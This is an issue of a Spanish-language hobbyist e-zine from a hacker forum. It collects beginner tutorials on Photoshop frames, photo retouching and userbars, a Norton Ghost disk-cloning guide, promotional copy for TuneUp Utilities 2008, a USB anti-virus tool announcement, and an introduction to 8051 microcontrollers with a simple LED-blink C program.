2- Presionamos Ctrl+Shift+I y borramos lo que queda seleccionado.
3- Seleccionamos la imagen que quedo, vamos a Seleccin>Modificar>Contraer y elegimos 5 px.
4- Ahora presionamos Ctrl + J y se crear una nueva capa con la seleccin.
En la capa mas pequea (la que creamos) vamos a Opciones de Fusin y le damos estos parmetros:
Sombra Interior:
Dejamos todo los valores como estn.
Trazo:
Tamao: 1 px Posicin: Fuera Modo de Fusin: Normal Opacidad: 100% Tipo de Relleno: Color Color: Blanco
5- Ahora en las opciones de fusin de la capa grande ponemos esto:
Trazo:
Tamao: 1 px Posicin: Dentro Modo de Fusin: Normal Opacidad: 100% Tipo de Relleno: Color Color: Blanco
Nos quedar algo as:
Marco Simple Style CUH e-zine 4 edicion
6- Con la varita mgica seleccionamos la parte externa a la capa pequea de forma que quede as:
7- Creamos una nueva capa presionando en este botn:
Y en esa capa pintamos de negro la seleccin, luego vamos a la capa grande y hacemos lo mismo que hicimos en el paso 6.
8- Volvemos a la capa negra (sin quitar la seleccin) y borramos presionando Suprimir (supr. o delete).
9- Ahora solo cambiamos el modo de la capa a Superponer y si queremos le bajamos la opacidad, queda as:
Este es un tutorial muy sencillo, pero si lo sabemos usar da un efecto muy bonito.
Saludos, Furious Dami
Este articulo a sido creado por Furious Dami para la revista CUH E-Zine de http://foro.el-hacker.com
Documento liberado bajo la licencia Creative Commons (By-Nc).
Retoque fotogrfico CUH e-zine 4 edicion
En este sencillo tutorial les ensear como hacer en pocos pasos un retoque fotogrfico, en el cual se perfeccionarn ciertos detalles, como es el ocultamiento de acn o cicatrices, blanqueamiento de dientes, cambio de color de ojos, maquillaje de labios, cejas, pestaas, manejo de brillos y del color, en fin lo necesario para dejar aquellas viejas fotografas como si fueran para una portada de revista tipo Glam! Abrimos la fotografa con el photoshop:
Primero que todo tapamos las imperfecciones de la pintura de la pared y el intrerruptor con la herramienta tampn de clonar, con la opacidad en 70 %
Una vez hemos cubierto esas imperfecciones del fondo de nuestra foto, duplicamos la capa y en el modo de fusin lo dejamos en superposicin, en la opacidad le dejamos en 50 %
le aplicamos un filtro de desenfoque
Em este punto debemos combinar las dos capas Retoque fotogrfico CUH e-zine 4 edicion
resultantes
Creamos una nueva capa para aplicar un leve brillo en los ojos, para ello seleccionamos la herramienta lpiz, el tamao lo dejamos en 1 Pixel
Cabe recalcar que para efectuar todos estos cambios es recomendable manejar fotografas con una buena resolucin, para poder aplicar acercamientos de detalle y as manipular y corregir detalladamente la imagen, acercamos el rea de los ojos, a cada ojo le hacemos tres puntos, mas o menos as
A esta capa le aplicamos un desenfoque, y le ponemos a la opacidad en 45%; para darle un realce al color natural de los ojos creamos una nueva capa, la opacidad en 40% y el modo de fusin superponer
Con la herramienta pincel, escogemos un pincel blando, color blanco, el tamao debe ser menor al de los ojos, nos posicionamos en el centro de cada ojo y aplicamos un pincelazo
En el caso de que se opte por el cambio de color de ojos, creamos una nueva capa, el modo de fusin lo ponemos en superponer y la dejamos opacidad en 35 %
Escogemos la herramienta pincel, debe ser un pincel duro
El color depende del color que le queramos poner, en este caso he escogido el azul, el tamao debe ser casi igual al del ojo, pero se debe borrar el excedente:
Ahora vamos a cubrir imperfecciones de la piel, con una mascara que haremos especialmente Retoque fotogrfico CUH e-zine 4 edicion
para ello, creamos una nueva capa y seleccionamos un color piel que se asemeje al tono de piel del rostro, o un tono rosa claro o similar
Con un pincel cubrimos el rea del rostro sin tapar partes como los ojos boca y cejas
Al modo de fusin lo ponemos asi
Le aplicamos un desenfoque y nos queda algo as:
Para quitar imperfecciones mas marcadas debemos trabajar sobre la imagen directamente, con la herramienta tampn o con el pincel, dejando muy baja la opacidad para difuminar el cambio, adems debemos ir con calma ya que podramos empeorar las cosas, debemos escoger un rea lisa y libre de imperfecciones, cercana al lugar donde se va a cubrir algo como acn o una mancha, para trabajar mejor ocultamos todas las dems capas, haciendo click derecho sobre la capa, en la parte del ojito, y hacemos los retoques necesarios
Creamos una nueva capa para pintar los labios, seleccionamos el pincel, color rojo o el color que se te antoje y pintamos el labio entero
Al modo de fusin lo dejamos en superponer y la opacidad a vuestro gusto, creamos una nueva capa y con el pincel blanco hacemos algo asi: Retoque fotogrfico CUH e-zine 4 edicion
A la opacidad la dejamos en 10%, seguimos con la lnea de los ojos, creamos una nueva capa, y con el pincel del tamao necesario para cubrir dicha rea le ponemos n color azul oscuro y le aplicamos la lnea alrededor de los ojos
Al modo de capa lo dejamos en superponer, y la opacidad en 50 %
De nuevo creamos una nueva capa para el brillo de las cejas, con un pincel blando dejamos algo como esto
Le ponemos al modo de fusin superponer y la opacidad la dejamos en 45% o a nuestro gusto, para resaltar las cejas creamos una nueva capa y escogemos un pincel delgado y de color marrn en este caso, la opacidad del pincel debe estar en 65% y el tamao que se adapte al tamaos de la ceja, con el borrador depuramos el estilo de las cejas y al resultado le aplicamos un desenfoque
En el modo fusin lo ponemos en multiplicar y en la opacidad en 40%, para variar creamos otra capa y la herramienta pincel, con un tono violeta puede ser, es para el color del cabello, dejamos algo parecido a esto
Y en el modo fusin lo dejamos en superponer y la opacidad en 95%, el color de cualquier capa lo cambiamos desde el men imagen
De esta forma podemos cambiar los tonos de Retoque fotogrfico CUH e-zine 4 edicion
nuestro retoque, por el momento un detalle de nuestra fotografa esta quedando as:
Y si lo comparamos con el original
Ahora solo unos detalles, como son iluminaciones y un marco y texto para darle realce al diseo en general, todo depende de nuestro estilo y gusto tambin, existen otras formas de hacer lo mismo que yo explico ac, pero esta es la forma en que yo lo hago esto fue mas o menos o que sali al final:
Dejo otros resultados del mismo tutorial.
Antes
Despues
Retoque fotogrfico CUH e-zine 4 edicion
Antes
Despues
Ya es cuestin de que cada uno experimente y mire que resultados se acomodan a su forma de disear o a la fotografa, ya que todo depende de la fotografa que se escoja para hacer el retoque, como recalque anteriormente lo mejor es tener imgenes de alta resolucin, para tener el mximo de calidad de la imagen y asi mismo obtener un resultado casi perfecto, todo depende del detalle y del esmero con que emprendes tus proyectos. Espero que les haya agradado a todos mis amigos de del foro de la web www.el- hacker.com/Foro o la Comunidad Underground Hispana CUH, de la cual soy un orgulloso miembro.
Este tutorial como siempre esta hecho para los que recin empiezan en esto del diseo!
Sois libres de copiar, modificar y de manipular este documento a vuestro antojo, ;)
By Alesteir 2008
Suertes !!
Userbars con PhotoShop CUH e-zine 4 edicin
Este Tutorial explica la forma de hacer un Userbar con PhotoSho, primeramente realizars un pequeo motivo, que es lo que dar un toque llamativo al userbar, as que creas un documento nuevo de 3*3 px con fondo tranparente y le aumentas el zoom al 1000% y con el lpiz trazas una lnea diagonal sobre el lienzo algo as :
Una ves hecho esto sigues esta ruta: Men Edicin>Definir Motivo, le pones el nombre que quieras y guardas, ya una ves guardado cierras el archivo.
Ahora empezars con lo bueno, creas un documento nuevo de 350*20 px con fondo blanco y le agregas un degradado que combine con el render:
Despus sigues esta ruta Capa>Estilo de Capa>Superposicin de Motivo, le das click y escoges el motivo que habas guardado con anterioridad y le das ok, debe quedarte algo as:
Nota: la imagen sale as ya que tiene un zoom de 200% que puse para que se notara el efecto que se realiza. Abres tu render y lo pones en tu userbar para que se vea algo as:
Creas una nueva capa y escoges tu herramienta de marco elptico y creas algo asi
Despues de vas a Editar>Rellenar y pones estos valores
Nota: Esta en Ingles ya que la versin del cs2 que uso esta en ese idioma y trato de hacerles la traduccin mas parecida al espaol de los comandos. Le bajas la opacidad menor a 30% la que creas conveniente
Y finalmente le agregas un font que le combine con tu Nick o lo que gustes y te queda algo as:
Los resultados varan segn la imaginacin que tengas para usar este sencillo tutorial y espero te sirva
Norton Ghost CUH e-zine 4 edicin
Segn la definicin de Symantec Norton Ghost es 1 herramienta d clonado o creacin d imgenes q provee la habilidad de copiar el contenido completo d 1 disco o particin.. Los contenidos son copiados directamente ya sea a otro disco o particin, o son salvados como 1 archivo q puede luego ser restaurado a los mismos medios.
En resumen, lo q podemos hacer con el ghost es 1 imagen exacta de nuestro disco rgido. Para q puede servir esto?? para muchsimas cosas podra ser la respuesta... en principio si tenemos q hacer 1 cambio d disco en 1 pc en lugar d tener q instalar nuevamente SO, drivers, soft, etc lo q hacemos es clonar o como c dice en la jerga ghostear el disco y tenemos el so instalado y funcionando en solo unos minutos. Parece bueno no?? je... y es solo el principio. ;) Aunque no parezca 1 herramienta de hardware 100% el ghost es usado por la mayora d los tcnicos x la cantidad d posibilidades q brinda tanto para clonado como backup d equipos. El nombre ghost viene d la sigla General Hardware-Oriented System Transfer. Su existencia data d 1995 cuando perteneca a Binary Research hasta q en 1998 fue comprado x Symantec. Soportaba inicialmente solo sistemas d archivos FAT, a travs de los aos fue agregando NTFS (1996) y posteriormente EXT2, EXT3, etc.
A pesar d q hay otros softs para clonado d discos el norton ghost es el + aceptado x su eficacia y robustez. La desventaja q x lo general podemos encontrar en reviews o comentarios d usuarios es q el sistema debe correr desde DOS... para mi + q 1 desventaja es justamente 1 ventaja pero bue... en el moderno mundo d win a la gente le cuesta mucho usar la consola...
Como deca al principio clonar 1 disco para cambiarlo es solamente 1 d las posibilidades del ghost. Gracias al sistema d imgenes lo podemos usar para hacer backup d 1 pc o para tener 1 imagen si tenemos q instalar muchas iguales como seria el caso en 1 empresa, ciber, etc., podemos x ej instalar nuestra pc con todo lo q nos gusta y cuando esta perfecta hacer 1 imagen. Despus ante cualquier problema con el SO no hace falta volver a instalar todo, con solo tirarle la imagen guardada en el disco tenemos el sistema corriendo igual q recin instalado en unos 5 mins. Pisando virus, errores o lo q sea...
Vamos a ver el tema del destino d la imagen xq no es tan fcil a veces. Podemos clonar 1 disco teniendo los 2 conectados a la pc o podemos crear 1 imagen para despus hacer lo q c nos ocurra, ya sea meterla en otro hd o sacar archivos d ella con el GhostExplorer. Esta es 1 utilidad q nos permite navegar dentro d la imagen y extraer archivos d ella... similar a lo q podramos hacer con winiso y 1 imagen ISO. Me parece q ya es demasiada historia y blah blah... vamos a ver como funciona... Uso de Norton Ghost
El Ghost x supuesto lo podemos encontrar en el Hirens Boot CD para facilitarnos las cosas... sino lo pueden descargar d la red. Es 1 ejecutable d poco + d 1mb... recuerden q hay q correrlo desde dos para lo q c necesita booteo, etc, etc. Con el Hirens c ahorran todo eso ;)
Booteamos con el Hirens y en el men vamos a: Disk Clone Tools -> Norton Ghost 11.0.1
Ahi tenemos 8 opciones distintas, soporte para USB, SCSI, red, distintos tipos d compresin y d tamao d los archivos resultantes para poder quemarlos en CD/DVD. Vamos a ver la 8 q es el ghost normal q es el archivo del q hablbamos antes q podemos correr tambin desde 1 diskette, cd, usb, red o lo q sea q podamos llegar a levantar con la pc, esto es lo q hacen las dems opciones, darnos conectividad tanto para correr el ghost como para copiar las imgenes. + adelante lo vemos mejor.
Al abrir el ghost y despus d aceptar 1 msg d bienvenida nos encontramos con el men principal q no tiene demasiadas opciones, solo las necesarias:
Norton Ghost CUH e-zine 4 edicin
En el men Local tenemos todas las opciones de clonado, desde Disk podemos hacer clonado d disco a disco, disco a imagen o disco desde imagen. Y desde el men Partition lo mismo con particiones. Con esto tenemos todas las operaciones q necesitamos. Vamos entonces a clonar 1 disco a otro.
Supongamos q tenemos el 1er caso del q hablbamos. Cambiar el disco d 1 pc x otro. Tendramos q hacer: Local -> Disk -> To Disk
C abre 1 ventana preguntndonos x el source o disco d origen:
En el ejemplo tenemos 2 discos iguales d 500mb pero no es necesario q sean iguales... es +, justamente lo + probable seria 1 cambio x 1 hd + grande. Seleccionamos entonces el disco d origen y le damos a OK, entonces nos sale 1 ventana similar donde tenemos q elegir el disco d destino. Seleccionamos y comienza a copiarse saliendo otra ventana como esta:
Podemos ver arriba d todo la tpica barra indicadora d progreso y + abajo las estadsticas. Porcentaje completado, velocidad d transferencia, MB copiados y restantes y tiempo transcurrido y restante. + abajo en detalles vemos la info d la conexin, los discos y particiones adems del archivo en copia. Al finalizar tenemos 2 discos exactamente iguales y ya c puede reemplazar 1 x otro sin ningn problema. Hasta ac tenemos la situacin + normal y sin problemas. En la ultima captura como c puede ver cambie los discos. El origen es de 100mb y el destino de 500. Q pasa en 1 caso as c preguntaran? El disco destino (500mb) queda con 1 particin equivalente al espacio libre q tenga y los datos d la particin d origen. O sea q en cuanto a datos serian iguales pero la particin ya no seria d 100 sino d 500mb. El ghost mueve los datos solamente. La particin si en el origen ocupaba todo el disco en el destino tambin. Los datos anteriores x supuesto q son destruidos sin importar nada. Si en cambio clonamos particiones el menu nos va a preguntar en su momento cual es la particin q queremos ghostear dentro del disco y al meterla en otra no importa el espacio (siempre q sea mayor), la va a dejar del tamao q estaba pero con los datos d la d origen. Imgenes Hasta ac todo c v bastante fcil ya q en todos estos casos tenemos acceso fsico a meterle otro disco a la maquina, pero... q pasa si hablamos d 1 notebook o cualquier pc q x 1 razn u otra no podamos abrirla para conectar el disco d destino? Para eso estn las opciones d conectividad q veamos al comienzo q trae el submenu d ghost del hirens y x supuesto lo principal... las imgenes. Todas estas opciones c pueden llegar a realizar sin hirens ya q lo nico q nos dan es conectividad, d hecho tiraba imgenes x red mucho antes d q el hirens tuviera soporte para redes, pero como siempre con el cd todo es mucho + fcil... je
Mucha gente usa el sistema d imgenes (aunq no fue pensado para eso) como sistema d backup. La ventaja para el backup es la rapidez ya q el soft trabaja a bajo nivel y no a nivel d archivos, adems d q nos aseguramos d tener absolutamente todos los datos del hd en el tiempo en q 1 sistema tradicional d backup copiara solo algunas carpetas...
Si no ponemos ninguna opcin c dividen en archivos d 2gb, sino podemos, como veamos antes, cortarlas en 700mb (CD) o 4470mb (DVD) desde el mismo hirens sin tener q tocar configuracin del ghost. Y x ultimo pide tipo d compresin q puede variar entre NO (sin compresin), FAST (compresin rpida) o HIGH (alta compresin). Si estamos ghosteando a unidades d red casi no c nota la diferencia entre una y otra debido a la tasa d transferencia.
Norton Ghost CUH e-zine 4 edicin
Conectividad
Las opciones + usadas del men son x supuesto la d usb y la d network... x lo son las q yo + uso. Con la 1era lo q logramos es soporte usb en DOS, con lo cual podramos conectar 1 disco externo o hasta 1 pendrive y tirar ah la imagen. En algunos casos no queda otra... y aunq la transferencia x usb deja bastante q desear sirve para el propsito. La opcin d red (mi preferida) corre 1 cliente d red para DOS q tiene drivers para la mayora d las placas q podemos encontrar. Lo nico q pide es user/pass y dominio en el caso d q exista:
El problema con esto es q al terminar d levantar el cliente directamente lanza el ghost, con lo cual no nos da tiempo para linkear ninguna unidad donde mandar la imagen... para eso usamos el campo logon script q trabaja d la misma manera q 1 logon script d 1 domain server. Lo q hace es lanzar 1 bat o solo 1 lnea d DOS q le pongamos. Como solo queremos linkear 1 unidad basta con el clsico net use x: \\servidor\recurso. As al terminar d cargar el cliente corre el comando q en este caso linkea la unidad y recin despus abre el ghost. La nica diferencia en este caso con los anteriores es q en lugar d mandar la imagen a 1 disco local lo mandamos a 1 unidad d red. Cuando queremos ghostear otra pc hacemos el mismo proceso pero a la inversa. En lugar d disk To Image usamos From image.
Las posibilidades son muchas, solo es cosa d buscar la forma en base a las circunstancias pero prcticamente todo c puede ghostear desde y hacia. Es cosa d experimentar. Este es solo 1 d los mtodos posibles, no es el q yo uso particularmente pero creo q es el + fcil. Otra posibilidad es la d usar la utilidad sysprep q viene entre las tools del CD d instalacin d win para crear instalaciones desatendidas orientadas a X hardware. Es muy til cuando hay q instalar muchas pcs iguales ya q ghostearlas nos puede traer problemas en redes corporativas x el tema del SID... pero eso ya es otra historia. Hace 1 tiempo implemente este sistema para la instalacin d unas 100 pcs. Con sysprep c hace la instalacin desatendida q tarda d 5 mins en dejar el so funcionando (con todas las aplicaciones, conf, etc) y con ghost c hace y tira la imagen del sysprep en c/u d las pcs... pero bue... nos vamos d tema me parece. Mejor lo dejamos para otra... ;)
|_ocutus
Razones para usar TuneUp 2008 CUH e-zine 4 edicin
1. Potente desfragmentacin de discos duros 2. Aceleracin ptima de Windows, Internet y del arranque 3. Ordenacin rpida y completa de los discos duros 4. Eliminacin eficaz de datos innecesarios 5. Limpieza y mejora completamente automticas del equipo 6. Limpieza intensiva del registro 7. Gran ayuda para solucionar los problemas habituales de Windows 8. Recuperacin y destruccin de datos de forma segura 9. Sencilla configuracin de Windows a medida 10. Diseo de Windows personalizado
Mejora del rendimiento
Windows se inicia con lentitud. El equipo se apaga con lentitud. Los programas se abren de forma titubeante. Los juegos se bloquean cuando se cargan. Tiene la impresin de que el rendimiento de su PC es cada vez peor? Solucione los problemas de velocidad de su sistema y olvdese de largas reinstalaciones. TuneUp Utilities 2008 le ayuda a optimizar tanto Windows como sus programas y juegos, adems de dar un nuevo impulso a su sistema.
Potente desfragmentacin de soportes
Reduce en gran medida el tiempo de carga de Windows, programas y juegos Se encarga de lograr un notable aumento de velocidad mediante una desfragmentacin inteligente Desfragmentacin automtica en segundo plano siempre que lo desee
Desfragmentacin y reparacin del registro
Fragmentos reducidos dentro del registro Repara defectos estructurales Libera memoria no utilizada
Evita el inicio de programas no deseados
Acelera el inicio del sistema Muestra los programas que se ejecutan automticamente al iniciar Windows Tambin muestra un listado de los programas que no se encuentran en la carpeta de inicio automtico Ofrece claras recomendaciones y descripciones de ms de mil programas Razones para usar TuneUp 2008 CUH e-zine 4 edicin
Optimizacin de Windows y aceleracin de Internet
Mejora el rendimiento del sistema Acelera la navegacin y la descarga de archivos Da extensos consejos para acelerar el sistema
Razones para usar TuneUp 2008 CUH e-zine 4 edicin
Desfragmentacin y reparacin del registro
Fragmentos reducidos dentro del registro Repara defectos estructurales Libera memoria no utilizada
Tune Up Memory Optimizer
Para optimizar y liberar la memoria de nuestro disco duro
Aumento de espacio en disco
Libera a sus discos duros de datos innecesarios y que acaban con el espacio disponible en la memoria Muestra directamente en la pantalla de inicio la cantidad de espacio que ha ganado en la memoria en cada rea Busca en pocos segundos en todo el sistema
Razones para usar TuneUp 2008 CUH e-zine 4 edicin
Mantenimiento del sistema Quiere estar seguro de que el rendimiento de su PC sigue siendo el adecuado durante mucho tiempo y de que funciona de en ptimas condiciones? Sin embargo, a que no quiere tener que estar constantemente preocupado por ello? Compruebe y mantenga el sistema de forma eficaz y sencilla con un mnimo esfuerzo. TuneUp Utilities 2008 le ofrece todas las funciones de mantenimiento importantes para su PC en una nica pantalla. Puede desfragmentar, mantener y limpiar el sistema cuando quiera y de manera totalmente automtica.
Limpie el sistema y tngalo listo siempre con un slo clic
Limpie el PC con un slo clic Solucione los problemas del registro Consiga ms espacio en el disco Optimice el rendimiento de los discos duros gracias a la desfragmentacin
Solucin de problemas
Archivos defectuosos, prdida de datos, fallos generales de software, errores de representacin: no deje que vaya a ms. Mantenga siempre el ncleo de su PC en buen estado y preocpese de optimizar el rendimiento del equipo. Prevenga la prdida de datos y recupere archivos eliminados accidentalmente. TuneUp Utilities 2008 le ayuda a solucionar ese y otros problemas de su PC con slo unos pocos clics.
Detectar y solucionar errores de los soportes de datos
Localiza y corrige errores del sistema de archivos Recuperar la informacin de los sectores daados de los soportes Previene la prdida de datos
Solucin fcil de problemas de Windows
Soluciona problemas frecuentes en Windows Repara, entre otros, errores de representacin, como la desaparicin de los iconos "Papelera de reciclaje" o "Mi PC" del escritorio
Restauracin de archivos eliminados
Restaura los archivos ya borrados de la papelera de reciclaje Recupera archivos eliminados accidentalmente de unidades USB y cmaras digitales
Razones para usar TuneUp 2008 CUH e-zine 4 edicin
Personalizar Windows Quiere pasar en pocos minutos del diseo estndar a un estilo propio? Hasta qu punto quiere un Windows a su medida? Con TuneUp Utilities 2008 no hay problema.
Marque la pauta y dle a Windows su toque personal. Adapte su PC a sus propias necesidades. Dispone de ms de 400 opciones para y ajustar la apariencia y la forma de trabajar de Windows. Y todo ello, naturalmente, con Windows Vista.
Configurar Windows por completo
Adaptar Windows a sus necesidades personales Estacin de control central con ms de 400 opciones para ajustar el men Inicio, la barra de tareas, la configuracin de Internet, adems de las opciones de privacidad, animaciones, efectos y mucho ms.
Su propia configuracin de Windows
Permite personalizar el aspecto de ventanas y botones Configura la pantalla de inicio Permite modificar el inicio de sesin del usuario
Ms herramientas
Quiere ms? Gracias a nuestras herramientas para expertos, tiene la posibilidad de profundizar en Windows. Supervisar y controlar los procesos activos. Analice el uso del sistema y de la memoria RAM, adems de la velocidad de transmisin de datos de Internet. Corrija la configuracin del registro o elimine de forma definitiva datos confidenciales.
Desinstalacin de software a fondo
Muestra la cantidad de memoria que ocupan las aplicaciones instaladas Desinstala de forma rpida y sencilla aplicaciones innecesarias Elimina las entradas de desinstalaciones innecesarias
Supervisin del sistema de forma resumida
Proporciona un resumen detallado de los programas y procesos activos, adems de los archivos abiertos Finaliza aplicaciones y procesos con rapidez y sin retardo Le ofrece un resumen de los valores de rendimiento del sistema
Edicin cmoda del registro
Realice modificaciones manuales en el registro Admite marcadores y almacena el desarrollo de todas las claves consultadas Ofrece una rpida y extensa funcin de bsqueda que muestra un listado de todas los resultados Asegura de forma automtica todas las modificaciones en TuneUp Rescue Center y permite deshacerlas.
Destruir datos de forma segura
Elimina informacin confidencial de manera que nadie pueda restaurarlas Permite eliminar de forma segura mediante distintos mtodos como, por ejemplo, segn el procedimiento del Departamento de defensa de EE. UU.
Averigua informacin detallada sobre el sistema
Ofrece informacin y hechos detallados sobre Windows y el hardware utilizado Razones para usar TuneUp 2008 CUH e-zine 4 edicin
Muestra el uso que se hace del sistema y de la memoria RAM, as como la velocidad de transmisin de datos de Internet y de la red
Por ultimo vamos a ver como deberiamos tener configurado el TuneUp Utilities 2008 ( esta configuracion es personal, cada uno pone lo que mas le interesa )
Esto es todo, solo un pequeo aporte a este gran programa y a la comunidad de el Hacker.com CUH , casi se le podria llamar TODO EN UNO
SALU2 Centinel USB Protector CUH e-zine 4 edicin
Les dejo una pequea aplicacin que protege de virus tus unidades extraibles y por ende al pc que lo use, la aplicacin consta de una interfaz y de una pequea barra que se puede desplazar al lugar deseado, es una versin de prueba por el momento pruebenla y me dicen como les va, deben leer el leeme que hay en el .rar, ali explica algunas cosillas, ya que necesito saber de los fallos para corregirlos, espero que les guste!
Screenshots:
By Aleks Aqu tienen el enlace para descargarlo: http://rapidshare.com/files/132059297/Centinel_Final.rar.html Microcontroladores CUH e-zine 4 edicin
Hola, como han estado?
Luego de haber visto juntos las bases de la electrnica y los componentes bsicos de todo circuito vamos ahora a dar un salto, una bastante largo, y vamos a empezar a hablar de los microcontroladores.
En un curso completo de electrnica deberamos antes de llegar a este tema pasar por todos los tema de transistores, diodos y dems.... Pero eso nos llevara mucho tiempo!!! Y adems los aburrira. Con la teora que ya tenemos ser suficiente como para empezar a darle un vistazo a lo que es la electrnica que se usa hoy en da en todos los equipos que nos rodean, lo que nos haga falta, lo aprenderemos sobre la marcha.
El Microcontrolador:
El microcontrolador no es ni mas ni menos que una computadora en miniatura, es decir, dentro de un encapsulado plstico tenemos un microprocesador (como el de una PC pero menos potente), memoria, puertos de entrada y salida, timer y otros circuitos auxiliares.
Donde hay microcontroladores?, bueno, en realidad deberamos tratar de encontrar donde no los hay. Hoy en da estn en todos lados, Lavarropas, Celulares, Automviles, todo lo que tiene electrnica hoy en da tiene un microcontrolador de algn grado de complejidad.... Inclusive los casi para nada complejos, ya que con un micro pueden reemplazar un mayor numero de componentes y abaratar costos.
El microcontrolador mas antiguo de uso masivo y cuyos clones continan en produccin hoy en da fue el Intel 8051, es un descendiente directo de la familia del 8088 y lo que se logro en el fue incorporar en un solo encapsulado el microprocesador, su lgica de control, memoria ROM y RAM y puertos paralelos de 8 bits adems de un puerto serie.
Microcontroladores CUH e-zine 4 edicin
En el diagrama podemos ver todos los pines que posee este micro en particular para su interconexin con el exterior.
Los pines marcados como P0.X, P1.X, P2.X, P3.X son los puertos paralelos, estos pueden ser comandados individualmente y nos permiten activar independientemente cualquiera de los pines. Estos tambin pueden funcionar como entradas.
Si miramos con atencin podremos ver que la mayora de los pines PX.X tienen adems una funcin alternativa que da otro nombre al pin. Por ejemplo el El P0 puede funcionar como lneas de datos y de address (multiplexado, es decir alternando una funcin y la otra) para direccionar una memoria externa. El P2 nos da mas lneas de direccin para lograr direccionar 64k de memoria externa.
En el resto de los pines podemos ver los que permiten conectar el crista para el clock, los RxD y TxD del puerto serie, interrupciones, reset, etc. Adems claro de los Vcc y Vss para a alimentacin.
Veamos un ejemplo super-bsico, en el cual podremos constatar cuanto simplifica un microcontrolador un diseo electrnico.
Este circuito nos permite controlar el encendido y apagado de un LED, el PIN RST se conectara a GND, el negativo de la fuente de alimentacin y cuando queremos resetear el micro, conectamos ese mismo pin a Vcc (+5V)
Lgicamente ahora llega la pregunta esperada Como hacemos para que el microcontrolador haga lo que yo necesito? Y la respuesta es una simple y divertida palabra programndolo!
En un principio, los microcontroladores se programaban solo en assembler, lo cual, si bien era un mucho ms simple que el del 8088 por ejemplo, no dejaba de ser algo complicado.
Para nuestra fortuna hoy en da contamos con compiladores de C para casi todos los micros. Incluido claro el 8051, entonces, y solo a modo de muestra de lo que estamos hablando, vemos el programa en C que har parpadear el led del circuito anterior:
#pragma SMALL DB OE #include <reg51.h>
sbit light = P2^0; /* definimos a que pin de que puerto equivale light */
/* Funcion Delay */ void delay(void){ int i, j; for(i=0; i<1000; i++){ /* dos ciclos for anidados */ for(j=0; j<100; j++){ /* para aumentar el delay */ i=i+0; } } }
void main(void){ while(1){ light=0; /* enciende led */ delay(); /* ejecuta el delay para que el ojo pueda percibir el parpadeo */ light=1; /* apaga el led */ delay(); } }
Bueno, por esta entrega es suficiente, ya tienen en mente de que se trata esto de los microcontroladores y un ejemplo bsico de cmo usarlos. En prximas entregas veremos microcontroladores ms fciles de encontrar hoy en da en los comercios y que nos permitir ir subiendo en complejidad los ejemplos.